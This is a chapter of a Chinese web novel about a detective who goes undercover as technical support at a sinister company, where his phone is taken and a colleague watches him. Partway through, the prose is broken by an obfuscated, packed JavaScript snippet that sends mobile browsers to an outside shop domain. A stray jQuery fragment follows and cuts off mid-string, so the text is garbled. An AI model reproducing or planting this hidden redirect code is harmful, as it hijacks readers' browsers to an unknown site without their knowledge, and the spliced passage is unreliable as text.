宏远实业的办公楼比不死途想象中更明亮些。
玻璃外墙擦得一尘不染，门口两盆绿植叶片油亮。大厅里没有血腥味，也没有消毒水味，只弥漫着廉价香薰的甜味，闻久了头疼。前台背后的墙上挂着企业文化标语，字做得很大，边缘打了柔光：努力创造价值，奋斗成就人生。
如果仔细看，会发现下面还有一行小字：燃烧自己，照亮未来。
不死途盯着那行字看了两秒，轻轻啧了一声。口袋里的手机屏幕亮了一下，归零发来一行字：【好火啊，比老总一家在高温炉里烧的那把还要好。】
他低头按灭屏幕，把差点被她拱出来的表情压回去。新入职的技术后勤不该显得太精神，更不该在这种标语下面露出“你们公司迟早完蛋”的神情。于是他将肩膀稍稍压低，眼神也放空一些，像一个刚坐了两小时夜班车、饭没吃饱、工资还不高的人。
前台小姐抬起头：“旁白先生？”
“是我。”不死途把工牌申请表递过去，“新来的技术后勤。”
“请先做入职登记。”她的笑容很标准。签字，拍照，录入临时账号，领取工牌。流程顺利得有些过分，没有多问，也没有拖延，连技术部后勤这种听起来随时能被塞进仓库吃灰的位置，桌上都已经放好了电脑、笔、便签纸和一杯速溶咖啡。
归零在手机备忘录里打字：【最好别喝，小心加了料。】
【明白。】不用她提醒，侦探对于这种需要入口的东西总会格外谨慎。回复完毕，他将手机反扣在桌面上，视线在大厅里扫了一圈。角落有三个半球摄像头，一个对准前台，一个对准电梯，另一个角度稍偏，像是只是为了补盲区。但在他放下手机后，那个“补盲区”的摄像头轻轻转了半寸。
“公司资料涉及商业机密，所有私人通讯设备需要统一保管。”前台拿出透明封存袋，“下班后可取回。”
“应该的。”他语气温和，把手机关屏放进去。封口贴合上的瞬间，屏幕上最后跳出一行字：【方案一作废。Plan B 启动。】
前台把封存袋放进柜子。与此同时，藏在他发间的备用通讯器微微发烫，像被什么东西扫过。热意只持续了不到一秒，随后彻底冷下去。他抬手理了理马尾，把那枚已经失去作用的小东西重新压回发丝里，动作自然到像只是整理碎发。
他想起出发前自己说过的话：在侦探小说里，这种东西一定会形同虚设。
很好，猜对了。可惜没有奖金。
四楼办公区比大厅更安静。大片空间被白色隔板切成一个个小格子，如同墓园里排列整齐的小型墓碑。每个人都低着头，屏幕的光照在脸上，显出一种长期熬夜后才会有的蓝灰色。没人闲聊，但并不是真正的寂静。打印机吐纸声、总是在响的电话铃、椅轮碾过地板的轻响，还有密密麻麻的鼠标点击声混在一起，仿佛一场下在室内的雨。
更里面的会议室门没有关严，传来压低的训话声。
“这个月指标谁拖后腿，谁自己站出来。”
“不要总等公司给你机会。机会是抢出来的。”
“年轻人最怕什么？最怕把自己看得太像人。”
最后一句声音很轻，轻到不死途以为自己听错了。他转过头，看见工位旁边一个年轻男员工正盯着他。对方眼窝很深，嘴唇干裂，手里还握着喝了一大半的同款咖啡。见不死途看过来，那人立刻低头，像被抓住了什么错处。
“新来的？”隔壁工位有人开口。是个戴黑框眼镜的男人，领带勒得很紧，胸前名牌写着“星野”。他那张更大、更豪华的办公桌上贴了三张便签：今日必胜、客户无罪、同事不是朋友。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718528|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“嗯。技术后勤，旁白。”不死途动作自然地把空咖啡杯往桌角推了推，没有碰杯里的东西。
星野的目光先落在他的工牌上，又落到他空了的手边。“手机交了吗？”
“交了。多谢提醒。”
对方没有接这份客气，只用一种审查物料的眼神打量他：“公司资料不能外传。新员工培训没听，就不要装懂规矩。”
“受教。”不死途把工具包放到脚边。他道谢时的语气很诚恳，甚至有点懒散的客气，像那种在街边被人提醒鞋带散了，会说声“哎呀，多亏您”的人。星野显然不喜欢这种气质，皱了皱眉，却一时挑不出错。
电脑屏幕已经亮起：欢迎加入宏远实业。愿你在这里燃烧价值。
他伸手摸了摸键盘。键盘很新，空格键上却有一道极浅的划痕，仿佛上一个使用者曾经用指甲在上面反复刮过。登录临时账号后，第一条工单很快弹出：【四楼销售三组，打印机卡纸，请尽快处理。】三秒后，第二条出现：【五楼人事部，会议屏花屏，请尽快处理。】又过几秒，第三条也跳了出来：【四楼销售三组，客户资料异常，请尽快处理。】
“技术后勤就是这样。”星野在隔壁冷冷开口，“手脚慢会影响所有部门绩效。”
不死途站起来，熟练地抄起工具包：“明白。”
“别乱走。别问问题。别跟不该说话的人说话。”
“那我应该跟谁说话？”
星野盯着他。
他不得不把剩下半句话咽了回去。本来想说“跟打印机吗”，但这句话不适合一个刚入职、正在装老实的后勤。于是他只点点头，拿着工具包往销售三组走去。
走廊尽头的打印机还在响，纸张一张接一张吐出来，没人去拿。每一张纸上都印着同样的红字：努力奋斗，为宏远燃烧生命。